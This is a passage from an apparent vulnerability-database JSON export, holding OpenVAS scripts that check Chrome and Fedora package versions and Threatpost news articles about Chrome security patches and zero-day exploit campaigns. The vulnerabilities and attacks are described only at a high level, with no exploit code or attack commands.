2019)\");\n script_tag(name:\"creation_date\", value:\"2017-06-06 10:00:35 +0530 (Tue, 06 Jun 2017)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop-2017-06)-Linux\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists due to,\n\n - A type confusion in V8.\n\n - An out of bounds read error in V8.\n\n - Address spoofing in Omnibox.\n\n - Use after free error in print preview.\n\n - Use after free error in Apps Bluetooth.\n\n - Information leak in CSP reporting.\n\n - Heap buffer overflow in Skia.\n\n - Possible command injection in mailto handling.\n\n - UI spoofing in Blink.\n\n - Use after free error in credit card autofill.\n\n - Extension verification bypass.\n\n - Insufficient hardening in credit card editor.\n\n - Inappropriate javascript execution on WebUI pages.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation of this vulnerability\n will allow remote attackers to have some unspecified impact on the affected user.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 59.0.3071.86\n on Linux\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version 59.0.3071.86\n or later.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"qod_type\", value:\"executable_version\");\n\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_lin.nasl\");\n script_mandatory_keys(\"Google-Chrome/Linux/Ver\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!chr_ver = get_app_version(cpe:CPE)){\n exit(0);\n}\n\nif(version_is_less(version:chr_ver, test_version:\"59.0.3071.86\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"59.0.3071.86\");\n security_message(data:report);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:34:19", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2017-07-14T00:00:00", "id": "OPENVAS:1361412562310872852", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310872852", "type": "openvas", "title": "Fedora Update for chromium-native_client FEDORA-2017-b8d76bef4e", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for chromium-native_client FEDORA-2017-b8d76bef4e\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.872852\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-07-14 15:55:05 +0530 (Fri, 14 Jul 2017)\");\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5072\", \"CVE-2017-5073\",\n \"CVE-2017-5074\", \"CVE-2017-5075\", \"CVE-2017-5086\", \"CVE-2017-5076\",\n \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5080\",\n \"CVE-2017-5081\", \"CVE-2017-5082\", \"CVE-2017-5083\", \"CVE-2017-5085\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for chromium-native_client FEDORA-2017-b8d76bef4e\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'chromium-native_client'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"chromium-native_client on Fedora 24\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2017-b8d76bef4e\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QIQ7LK3MTM2B7PGJ2PTHAZ3JLP43BJQF\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC24\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC24\")\n{\n\n if ((res = isrpmvuln(pkg:\"chromium-native_client\", rpm:\"chromium-native_client~59.0.3071.86~1.20170607gitaac1de2.fc24\", rls:\"FC24\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2020-10-14T22:29:07", "bulletinFamily": "info", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "Google said Monday it has patched a Chrome web browser zero-day bug being actively exploited in the wild. The flaw affects versions of Chrome running on the Windows, macOS and Linux platforms.\n\nThe zero-day vulnerability, tracked as CVE-2020-6418, is a type of confusion bug and has a severity rating of high. Google said the flaw impacts versions of Chrome released before version 80.0.3987.122. The bug is tied to Chrome\u2019s open-source JavaScript and Web Assembly engine, called V8.\n\nTechnical details of CVE-2020-6418 are being withheld pending patch deployment to a majority of affected versions of the Chrome browser, [according to Google](<https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html>). Generally speaking, memory corruption vulnerabilities occur when memory is altered without explicit data assignments triggering programming errors, which enable an adversary to execute arbitrary code on targeted devices.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIn the context web browser engines, a similar memory corruption bug exploited by adversaries [earlier this month](<https://threatpost.com/mozilla-firefox-73-browser-update-fixes-high-severity-rce-bugs/152831/>), enticed victims to visit a specially-crafted web site booby-trapped with and an exploit that took advantage of a browser memory corruption flaw to execute code remotely.\n\nCredited for finding the bug is Google\u2019s Threat Analysis Group and researcher Cl\u00e9ment Lecigne.\n\nGoogle is also warning users of two additional high-severity vulnerabilities. One, tracked as CVE-2020-6407, is an \u201cout of bounds memory access in streams\u201d bug. The other bug, which does not have a CVE assignment, is a flaw tied to an integer overflow in ICU, a flaw commonly associated with triggering a denial of service and possibly to code execution.\n\nMitigation includes Windows, Linux, and macOS users download and install [the latest version of Chrome](<https://support.google.com/chrome/answer/95414?co=GENIE.Platform%3DDesktop&hl=en>).\n", "modified": "2020-02-25T18:34:52", "published": "2020-02-25T18:34:52", "id": "THREATPOST:04ACAD235492D0B01F4F6E92CADC43FF", "href": "https://threatpost.com/google-patches-chrome-browser-zero-day-bug-under-attack/153216/", "type": "threatpost", "title": "Google Patches Chrome Browser Zero-Day Bug, Under Attack", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-13T17:23:32", "bulletinFamily": "info", "cvelist": ["CVE-2020-0938", "CVE-2020-1020", "CVE-2020-1027", "CVE-2020-6418"], "description": "Google researchers have detailed a major hacking campaign that was detected in early 2020, which mounted a series of sophisticated attacks, some using zero-day flaws, against [Windows](<https://threatpost.com/windows-zero-day-circulating-faulty-fix/162610/>) and [Android](<https://threatpost.com/google-warns-of-critical-android-remote-code-execution-bug/162756/>) platforms.\n\nWorking together, researchers from [Google Project Zero](<https://threatpost.com/2-zero-day-bugs-google-chrome/161160/>) and the [Google Threat Analysis Group (TAG)](<https://blog.google/threat-analysis-group/>) uncovered the attacks, which were \u201cperformed by a highly sophisticated actor,\u201d Ryan from Project Zero wrote in the [first](<https://googleprojectzero.blogspot.com/2021/01/introducing-in-wild-series.html>) of a six-part blog series on their research.\n\n\u201cWe discovered two exploit servers delivering different exploit chains via watering-hole attacks,\u201d he wrote. \u201cOne server targeted Windows users, the other targeted Android.\u201d\n\n[](<https://threatpost.com/2020-reader-survey/161168/>)\n\nWatering-hole attacks target organizations\u2019 oft-used websites and inject them with malware, infecting and gaining access to victims\u2019 machines when users visit the infected sites.\n\nIn the case of the attacks that Google researchers uncovered, attackers executed the malicious code remotely on both the Windows and Android servers using Chrome exploits. The exploits used against Windows included [zero-day](<https://threatpost.com/apple-patches-bugs-zero-days/161010/>) flaws, while Android users were targeted with exploit chains using known \u201cn-day\u201d exploits, though they acknowledge it\u2019s possible zero-day vulnerabilities could also have been used, researchers said.\n\nThe team spent months analyzing the attacks, including examining what happened [post-exploitation on Android devices.](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android-post-exploitation.html>) In that case, additional payloads were delivered that collected device fingerprinting information, location data, a list of running processes and a list of installed applications for the phone.\n\n## Zero-Day Bugs\n\nThe researchers posted [root-cause analyses ](<https://googleprojectzero.blogspot.com/p/rca.html>)for each of the four Windows zero-day vulnerabilities that they discovered being leveraged in their attacks.\n\nThe first, [CVE-2020-6418](<https://googleprojectzero.blogspot.com/p/cve-2020-6418-chrome-incorrect-side.html>), is a type confusion bug prior to 80.0.3987.122 leading to remote-code execution. It exists in V8 in Google Chrome (Turbofan), which is the component used for processing JavaScript code. It allows a remote attacker to potentially cause heap corruption via a crafted HTML page.\n\nThe second, [CVE-2020-0938](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0938>), is a a trivial stack-corruption vulnerability in the Windows Font Driver. It can be triggered by loading a Type 1 font that includes a specially crafted BlendDesignPositions object. In the attacks, it was chained with [CVE-2020-1020,](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1020>) another Windows Font Driver flaw, this time in the processing of the VToHOrigin PostScript font object, also triggered by loading a specially crafted Type 1 font. Both were used for privilege escalation.\n\n\u201cOn Windows 8.1 and earlier versions, the vulnerability was chained with [CVE-2020-1020](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1020>) (a write-what-where condition) to first set up a second stage payload in RWX kernel memory at a known address, and then jump to it through this bug,\u201d according to Google. \u201cThe exploitation process was straightforward because of the simplicity of the issue and high degree of control over the kernel stack. The bug was not exploited on Windows 10.\u201d\n\nAnd finally, [CVE-2020-1027](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1027>) is a Windows heap buffer overflow in the Client/Server Run-Time Subsystem (CSRSS), which is an essential subsystem that must be running in Windows at all times. The issue was used as a sandbox escape in a browser exploit chain using, at times, all four vulnerabilities.\n\n\u201cThis vulnerability was used in an exploit chain together with a 0-day vulnerability in Chrome (CVE-2020-6418). For older OS versions, even though they were also affected, the attacker would pair CVE-2020-6418 with a different privilege escalation exploit (CVE-2020-1020 and CVE-2020-0938).\u201d\n\nAll have all since been patched.\n\n## Advanced Capabilities\n\nFrom their understanding of the attacks, researchers said that threat actors were operating a \u201ccomplex targeting infrastructure,\u201d though, curiously, they didn\u2019t use it every time.\n\n\u201cIn some cases, the attackers used an initial renderer exploit to develop detailed fingerprints of the users from inside the sandbox,\u201d according to researchers. \u201cIn these cases, the attacker took a slower approach: sending back dozens of parameters from the end user\u2019s device, before deciding whether or not to continue with further exploitation and use a sandbox escape.\u201d\n\nStill other attack scenarios showed attackers choosing to fully exploit a system straightaway; or, not attempting any exploitation at all, researchers observed. \u201cIn the time we had available before the servers were taken down, we were unable to determine what parameters determined the \u2018fast\u2019 or \u2018slow\u2019 exploitation paths,\u201d according to the post.\n\nOverall, whoever was behind the attacks designed the exploit chains to be used modularly for efficiency and flexibility, showing clear evidence that they are experts in what they do, researchers said.\n\n\u201cThey [use] well-engineered, complex code with a variety of novel exploitation methods, mature logging, sophisticated and calculated post-exploitation techniques, and high volumes of anti-analysis and targeting checks,\u201d according to the post.\n\n**Supply-Chain Security: A 10-Point Audit Webinar:** _Is your company\u2019s software supply-chain prepared for an attack? On Wed., Jan. 20 at 2p.m. ET, start identifying weaknesses in your supply-chain with actionable advice from experts \u2013 part of a [limited-engagement and LIVE Threatpost webinar](<https://threatpost.com/webinars/supply-chain-security-a-10-point-audit/?utm_source=ART&utm_medium=ART&utm_campaign=Jan_webinar>). CISOs, AppDev and SysAdmin are invited to ask a panel of A-list cybersecurity experts how they can avoid being caught exposed in a post-SolarWinds-hack world. Attendance is limited: **[Register Now](<https://threatpost.com/webinars/supply-chain-security-a-10-point-audit/?utm_source=ART&utm_medium=ART&utm_campaign=Jan_webinar>)** and reserve a spot for this exclusive Threatpost [Supply-Chain Security webinar](<https://threatpost.com/webinars/supply-chain-security-a-10-point-audit/?utm_source=ART&utm_medium=ART&utm_campaign=Jan_webinar>) \u2013 Jan. 20, 2 p.m. ET._\n", "modified": "2021-01-13T16:57:39", "published": "2021-01-13T16:57:39", "id": "THREATPOST:88098D30DA04E912B06C03B52556385C", "href": "https://threatpost.com/hacks-android-windows-zero-day/163007/", "type": "threatpost", "title": "Sophisticated Hacks Against Android, Windows Reveal Zero-Day Trove", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-21T12:26:16", "bulletinFamily": "info", "cvelist": ["CVE-2019-13720", "CVE-2020-15999", "CVE-2020-16000", "CVE-2020-16001", "CVE-2020-16002", "CVE-2020-16003", "CVE-2020-6418"], "description": "Google released an [update](<https://chromereleases.googleblog.com/2020/10/stable-channel-update-for-desktop_20.html>) to its Chrome browser that patches a zero-day vulnerability in the software\u2019s FreeType font rendering library that was actively being exploited in the wild.\n\nSecurity researcher Sergei Glazunov of [Google Project Zero](<https://googleprojectzero.blogspot.com/>) discovered [the bug](<https://twitter.com/benhawkes/status/1318640422571266048>) which is classified as a type of memory-corruption flaw called a heap buffer overflow in FreeType. Glazunov informed Google of the vulnerability on Monday. Project Zero is an internal security team at the company aimed at finding zero-day vulnerabilities.\n\nBy Tuesday, Google already had released a stable channel update, Chrome version 86.0.4240.111, that deploys five security fixes for Windows, Mac & Linux\u2013among them a fix for the zero-day, which is being tracked as CVE-2020-15999 and is rated as high risk. \n[](<https://threatpost.com/newsletter-sign/>) \n\u201cGoogle is aware of reports that an exploit for CVE-2020-15999 exists in the wild,\u201d Prudhvikumar Bommana of the Google Chrome team wrote in a [blog post](<https://chromereleases.googleblog.com/2020/10/stable-channel-update-for-desktop_20.html>) announcing the update Tuesday. Google did not reveal further details of the active attacks that researchers observed.\n\n[Andrew R. Whalley](<https://twitter.com/arw>), a member of the Chrome security team, gave his team kudos on [Twitter](<https://twitter.com/arw/status/1318640817762807810>) for the \u201csuper-fast\u201d response to the zero-day.\n\nStill, Ben Hawkes, technical lead for the Project Zero team, warned that while Google researchers only observed the Chrome exploit, it\u2019s possible that other implementations of FreeType might be vulnerable as well since Google was so quick in its response to the bug. He referred users to a [fix](<https://savannah.nongnu.org/bugs/?59308>) by Glazunov posted on the FreeType Project page and urged them to update other potentially vulnerable software.\n\n\u201cThe fix is also in today\u2019s stable release of FreeType 2.10.4,\u201d Hawkes [tweeted](<https://twitter.com/benhawkes/status/1318640423485624320>).\n\nMeanwhile, security researchers took to Twitter to encourage people to update their Chrome browsers immediately to avoid falling victim to attackers aiming to exploit the flaw.\n\n\u201cMake sure you update your Chrome today! (restart it!),\u201d [tweeted](<https://twitter.com/securestep9/status/1318679358840754176>) London-based application security consultant Sam Stepanyan.\n\nIn addition to the FreeType zero day, Google patched four other bugs\u2014three of high risk and one of medium risk\u2013in the Chrome update released this week.\n\nThe high-risk vulnerabilities are: CVE-2020-16000, described as \u201cinappropriate implementation in Blink;\u201d CVE-2020-16001, described as \u201cuse after free in media;\u201d and CVE-2020-16002, described as \u201cuse after free in PDFium,\u201d according to the blog post. The medium-risk bug is being tracked as CVE-2020-16003, described as \u201cuse after free in printing,\u201d Bommana wrote.\n\nSo far in the last 12 months Google has patched three zero-day vulnerabilities in its Chrome browser. Prior to this week\u2019s FreeType disclosure, the first was a critical remote code execution vulnerability [patched last Halloween night](<https://threatpost.com/google-discloses-chrome-flaw-exploited-in-the-wild/149784/>) and tracked as CVE-2019-13720, and the second was a type of memory confusion bug tracked as CVE-2020-6418 that was [fixed in February](<https://threatpost.com/google-patches-chrome-browser-zero-day-bug-under-attack/153216/>).\n", "modified": "2020-10-21T12:23:29", "published": "2020-10-21T12:23:29", "id": "THREATPOST:6F7E512F15913694CF17A906715FE678", "href": "https://threatpost.com/google-patches-zero-day-browser/160393/", "type": "threatpost", "title": "Google Patches Actively-Exploited Zero-Day Bug in Chrome Browser", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-11-04T20:29:51", "bulletinFamily": "info", "cvelist": ["CVE-2019-13720", "CVE-2020-14750", "CVE-2020-15999", "CVE-2020-16004", "CVE-2020-16005", "CVE-2020-16007", "CVE-2020-16008", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16011", "CVE-2020-6418"], "description": "Flaws in Google\u2019s Chrome desktop and Android-based browsers were patched Monday in an effort to prevent known exploits from being used by attackers. Two separate security bulletins issued by Google warned that it is aware of reports that exploits for both exist in the wild. Google\u2019s Project Zero went one step further and asserted that both bugs are actively being exploited.\n\nIn its [Chrome browser update](<https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop.html>) for Windows, Mac and Linux, Google said that version 86.0.4240.183 fixes 10 vulnerabilities. Tracked as CVE-2020-16009, this bug is the most troubling, rated high-severity and is one of the two with active exploits. The vulnerability is tied to Google\u2019s open source JavaScript and WebAssembly engine called V8. In its disclosure, the flaw is described as an \u201cinappropriate implementation in V8\u201d.\n\nClement Lecigne of Google\u2019s Threat Analysis Group and Samuel Gross of Google Project Zero discovered the Chrome desktop bug on Oct. 29, according to a [blog post](<https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop.html>) announcing the fixes by Prudhvikumar Bommana of the Google Chrome team. If exploited, the V8 bug can be used for remote code execution, according to a separate analysis by Project Zero\u2019s team. \n[](<https://threatpost.com/newsletter-sign/>)\n\nAs for the Android OS-based Chrome browser, also with an active exploit in the wild, Google warned [on Monday](<https://chromereleases.googleblog.com/2020/11/chrome-for-android-update.html>) of a sandbox escape bug (CVE-2020-16010). This vulnerability is rated high-severity and opened up a possible attack based on \u201cheap buffer overflow in UI on Android\u201d conditions. Credited for discovering the bug on Oct. 31 is Maddie Stone, Mark Brand and Sergei Glazunov of Google Project Zero.\n\n## **\u2018Actively Exploited in the Wild\u2019**\n\nGoogle said it was withholding the technical details of both bugs, pending the distribution of patches to effected endpoints. While Google said publicly known exploits existed for both bugs, it did not indicate that either one was under active attack. Google\u2019s own Project Zero technical lead Ben Hawkes tweeted on Monday that both were under active attack.\n\n\u201cToday Chrome fixed two more vulnerabilities that were being actively exploited in the wild (discovered by Project Zero/Google TAG last week). CVE-2020-16009 is a v8 bug used for remote code execution, CVE-2020-16010 is a Chrome sandbox escape for Android,\u201d he wrote.\n\n> Today Chrome fixed two more vulnerabilities that were being actively exploited in the wild (discovered by Project Zero/Google TAG last week). CVE-2020-16009 is a v8 bug used for remote code execution, CVE-2020-16010 is a Chrome sandbox escape for Android. <https://t.co/IOhFwT0Wx1>\n> \n> \u2014 Ben Hawkes (@benhawkes) [November 2, 2020](<https://twitter.com/benhawkes/status/1323374326150701057?ref_src=twsrc%5Etfw>)\n\nAs a precaution, Google said in its security update that it would \u201calso retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed,\u201d according to the post.\n\n## **The Other Android Bugs**\n\nThe new Chrome Android release also includes stability and performance improvements, according to the Google Chrome team.\n\nVulnerabilities patched in the Chrome desktop update included a \u201cuse after free\u201d bug (CVE-2020-16004); an \u201cinsufficient policy enforcement in ANGLE\u201d flaw (CVE-2020-16005); an \u201cinsufficient data validation in installer\u201d issue (CVE-2020-16007) and a \u201cstack buffer overflow in WebRTC\u201d bug (CVE-2020-16008). Lastly there Google reported a \u201cheap buffer overflow in UI on Windows\u201d tracked as (CVE-2020-16011).\n\nThis week\u2019s Chrome updates come on the heels of zero-day bug [reported and patched last week](<https://threatpost.com/google-patches-zero-day-browser/160393/>) by Google effecting Chrome on Windows, Mac and Linux. The flaw (CVE-2020-15999), rated high-risk, is a vulnerability in Chrome\u2019s FreeType font rendering library.\n\nThe latest vulnerabilities mean that in that just over 12 months Google has patched a string of serious vulnerabilities in its Chrome browser. In addition to the three most recently reported flaws, the first was a critical remote code execution vulnerability [patched last Halloween night](<https://www.zdnet.com/article/halloween-scare-google-discloses-chrome-zero-day-exploited-in-the-wild/>) and tracked as CVE-2019-13720, and the second was a type of memory confusion bug tracked as CVE-2020-6418 that was [fixed in February](<https://threatpost.com/google-patches-chrome-browser-zero-day-bug-under-attack/153216/>).\n\n**Hackers Put Bullseye on Healthcare: [On Nov. 18 at 2 p.m. EDT](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) find out why hospitals are getting hammered by ransomware attacks in 2020. [Save your spot for this FREE webinar ](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>)on healthcare cybersecurity priorities and hear from leading security voices on how data security, ransomware and patching need to be a priority for every sector, and why. Join us Wed., Nov. 18, 2-3 p.m. EDT for this [LIVE](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>), limited-engagement webinar.**\n", "modified": "2020-11-03T17:23:23", "published": "2020-11-03T17:23:23", "id": "THREATPOST:DF87733B74489628AB9F2C89704380A9", "href": "https://threatpost.com/chrome-holes-actively-targeted/160890/", "type": "threatpost", "title": "Two Chrome Browser Updates Plug Holes Actively Targeted by Exploits", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2018-10-06T22:53:36", "bulletinFamily": "info", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5072", "CVE-2017-5073", "CVE-2017-5074", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5080", "CVE-2017-5081", "CVE-2017-5082", "CVE-2017-5083", "CVE-2017-5085", "CVE-2017-5086"], "description": "Google on Monday released the [latest stable version of Chrome](<https://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop.html>) that includes patches for 30 vulnerabilities, including five high severity issues.\n\nThe company paid out $23,500 to external researchers for the vulnerabilities, including $7,500 for a type confusion vulnerability in V8, the open source JavaScript engine Google uses for the browser. The fix was a relatively quick one for Google; Zhao Qixun, a researcher with Qihoo 360\u2019s Vulcan Team, discovered the vulnerability just three weeks ago.\n\nThe update also helps resolve a high severity out-of-bounds read vulnerability in V8, two high severity use-after-free vulnerabilities\u2013one in the browser\u2019s print preview feature, another in its Bluetooth app functionality\u2013and a vulnerability that could have enabled address spoofing in the browser\u2019s Omnibox address bar.\n\nAddress spoofing vulnerabilities continue to be a problem for Chrome. Google has fixed roughly a dozen of them in the browser since last September, including three in Monday\u2019s Chrome 59 update, three in April\u2019s Chrome 58 update \u2013 including one that could\u2019ve led to [unicode phishing attacks](<https://threatpost.com/google-fixes-unicode-phishing-vulnerability-in-chrome-58-firefox-standing-pat/125099/>), two in Chrome 57 [in March](<https://threatpost.com/google-chrome-57-browser-update-patches-high-severity-flaws/124235/>), and two in Chrome 56 [in January](<https://threatpost.com/high-severity-chrome-vulnerabilities-earn-researcher-32k-in-rewards/123363/>). Attackers traditionally used the vulnerabilities to trick users into visiting unintended sites, often ones hosting malware.\n\nThe high, medium, and low-severity bugs in Chrome that earned bounties are:\n\n * [$7500] [[722756](<https://crbug.com/722756>)]** High **CVE-2017-5070: Type confusion in V8. _Reported by Zhao Qixun(@S0rryMybad) of Qihoo 360 Vulcan Team on 2017-05-16_\n * [$3000] [[715582](<https://crbug.com/715582>)]** High **CVE-2017-5071: Out of bounds read in V8. _Reported by Choongwoo Han on 2017-04-26_\n * [$3000] [[709417](<https://crbug.com/709417>)]** High **CVE-2017-5072: Address spoofing in Omnibox. _Reported by Rayyan Bijoora on 2017-04-07_\n * [$2000] [[716474](<https://crbug.com/716474>)]** High **CVE-2017-5073: Use after free in print preview. _Reported by Khalil Zhani on 2017-04-28_\n * [$1000] [[700040](<https://crbug.com/700040>)]** High **CVE-2017-5074: Use after free in Apps Bluetooth. _Reported by anonymous on 2017-03-09_\n * [$2000] [[678776](<https://crbug.com/678776>)]** Medium **CVE-2017-5075: Information leak in CSP reporting. _Reported by Emmanuel Gil Peyrot on 2017-01-05_\n * [$1000] [[722639](<https://crbug.com/722639>)]** Medium **CVE-2017-5086: Address spoofing in Omnibox. _Reported by Rayyan Bijoora on 2017-05-16_\n * [$1000] [[719199](<https://crbug.com/719199>)]** Medium **CVE-2017-5076: Address spoofing in Omnibox. _Reported by Samuel Erb on 2017-05-06_\n * [$1000] [[716311](<https://crbug.com/716311>)]** Medium **CVE-2017-5077: Heap buffer overflow in Skia. _Reported by Sweetchip on 2017-04-28_\n * [$1000] [[711020](<https://crbug.com/711020>)]** Medium **CVE-2017-5078: Possible command injection in mailto handling. _Reported by Jose Carlos Exposito Bueno on 2017-04-12_\n * [$500] [[713686](<https://crbug.com/713686>)]** Medium **CVE-2017-5079: UI spoofing in Blink. _Reported by Khalil Zhani on 2017-04-20_\n * [$500] [[708819](<https://crbug.com/708819>)]** Medium **CVE-2017-5080: Use after free in credit card autofill. _Reported by Khalil Zhani on 2017-04-05_\n * [$N/A] [[672008](<https://crbug.com/672008>)]** Medium **CVE-2017-5081: Extension verification bypass. _Reported by Andrey Kovalev (@L1kvID) Yandex Security Team on 2016-12-07_\n * [$N/A] [[721579](<https://crbug.com/721579>)]** Low **CVE-2017-5082: Insufficient hardening in credit card editor. _Reported by Nightwatch Cybersecurity Research on 2017-05-11_\n * [$N/A] [[714849](<https://crbug.com/714849>)]** Low **CVE-2017-5083: UI spoofing in Blink. _Reported by Khalil Zhani on 2017-04-24_\n * [$N/A] [[692378](<https://crbug.com/692378>)]** Low **CVE-2017-5085: Inappropriate javascript execution on WebUI pages. _Reported by Zhiyang Zeng of Tencent security platform department on 2017-02-15_\n\nThe update also resolves a low severity issue in Blink, the rendering engine used by Chrome, that was more than two years in the making.\n\nDaniel Veditz, a member of Mozila\u2019s Security Team, pointed out in May 2015 that sendBeacon(), a method used to transmit data to a provided URL, allowed for the sending of POST requests with arbitrary content type.\n\n> [@sirdarckcat](<https://twitter.com/sirdarckcat>) XHR can also send any/content-type data. Like XHR, sendBeacon uses the CORS model.\n> \n> \u2014 Daniel Veditz (@dveditz) [May 20, 2015](<https://twitter.com/dveditz/status/600920852524244993>)\n\nIt took developers two years but a [patch for the issue](<https://bugs.chromium.org/p/chromium/issues/detail?id=490015>) was finally merged into Chrome 59 on Monday, as well as into Chrome 60, expected to be released sometime in mid- July.\n\nThe update comes with a collection of non-security tweaks as well, including the ability to push native macOS notifications, and a new Chrome Settings page.\n\nAbsent from the update is a fix for a hack that could have let attackers automatically download a malicious file to a victim\u2019s PC to steal credentials and launch SMB relay attacks. The vulnerability, [described in detail last month](<https://threatpost.com/chrome-browser-hack-opens-door-to-credential-theft/125686/>), is tied to the way both Chrome and Windows handles .SCF files. Google told Threatpost at the time it was aware of the issue and \u201ctaking the necessary actions.\u201d\n\nThe update comes a few days after Google reportedly told some of its publishers it plans to debut a new ad-blocking tool in the browser in 2018. The feature, which will be turned on by default according to the [_Wall Street Journal_,](<https://www.wsj.com/articles/google-will-help-publishers-prepare-for-a-chrome-ad-blocker-coming-next-year-1496344237>) will block ads from appearing on websites \u201cthat are deemed to provide a bad advertising experience for users.\u201d The company gave publishers, agencies and advertisers a six-month heads up about its plans last week to help them better prepare.\n", "modified": "2017-06-06T17:36:40", "published": "2017-06-06T13:36:40", "id": "THREATPOST:0CFA20DA4CAE2D0F32CD16D0779CC426", "href": "https://threatpost.com/google-fixes-30-vulnerabilities-five-high-severity-in-chrome-59/126091/", "type": "threatpost", "title": "Google Fixes 30 Vulnerabilities, Five High Severity, in Chrome 59", "cvss": {"score": 6.8, "vector": 